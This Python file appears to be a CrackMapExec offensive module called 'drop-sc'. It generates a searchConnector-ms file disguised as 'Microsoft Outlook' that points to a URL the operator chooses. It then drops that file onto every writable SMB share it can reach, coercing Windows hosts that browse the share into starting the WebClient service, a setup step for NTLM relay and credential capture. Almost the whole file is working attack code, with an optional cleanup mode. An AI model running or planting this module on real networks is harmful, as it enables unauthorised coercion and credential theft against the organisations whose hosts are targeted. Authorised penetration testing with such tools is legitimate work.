86 lines
4.1 KiB
Python
86 lines
4.1 KiB
Python
#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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import ntpath
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class CMEModule:
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"""
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Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
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https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
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Module by @zblurx
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"""
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name = "drop-sc"
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description = "Drop a searchConnector-ms file on each writable share"
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supported_protocols = ["smb"]
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opsec_safe = False
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multiple_hosts = True
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def options(self, context, module_options):
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"""
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Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service.
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https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/
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Module by @zblurx
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URL URL in the searchConnector-ms file, default https://rickroll
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CLEANUP Cleanup (choices: True or False)
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SHARE Specify a share to target
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FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents"
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"""
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self.cleanup = False
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if "CLEANUP" in module_options:
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self.cleanup = bool(module_options["CLEANUP"])
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self.url = "https://rickroll"
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if "URL" in module_options:
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self.url = str(module_options["URL"])
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self.sharename = ""
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if "SHARE" in module_options:
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self.sharename = str(module_options["SHARE"])
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self.filename = "Documents"
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if "FILENAME" in module_options:
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self.filename = str(module_options["FILENAME"])
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self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
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if not self.cleanup:
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self.scfile_path = f"/tmp/{self.filename}.searchConnector-ms"
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scfile = open(self.scfile_path, "w")
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scfile.truncate(0)
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scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
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scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
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scfile.write("<description>Microsoft Outlook</description>")
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scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
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scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
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scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
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scfile.write("<templateInfo>")
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scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
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scfile.write("</templateInfo>")
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scfile.write("<simpleLocation>")
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scfile.write("<url>{}</url>".format(self.url))
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scfile.write("</simpleLocation>")
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scfile.write("</searchConnectorDescription>")
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scfile.close()
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def on_login(self, context, connection):
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shares = connection.shares()
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for share in shares:
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context.log.debug(f"Share: {share}")
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if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]):
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context.log.success(f"Found writable share: {share['name']}")
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if not self.cleanup:
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with open(self.scfile_path, "rb") as scfile:
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try:
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connection.conn.putFile(share["name"], self.file_path, scfile.read)
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context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
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except Exception as e:
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context.log.exception(e)
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context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
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else:
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try:
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connection.conn.deleteFile(share["name"], self.file_path)
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context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
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except Exception as e:
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context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
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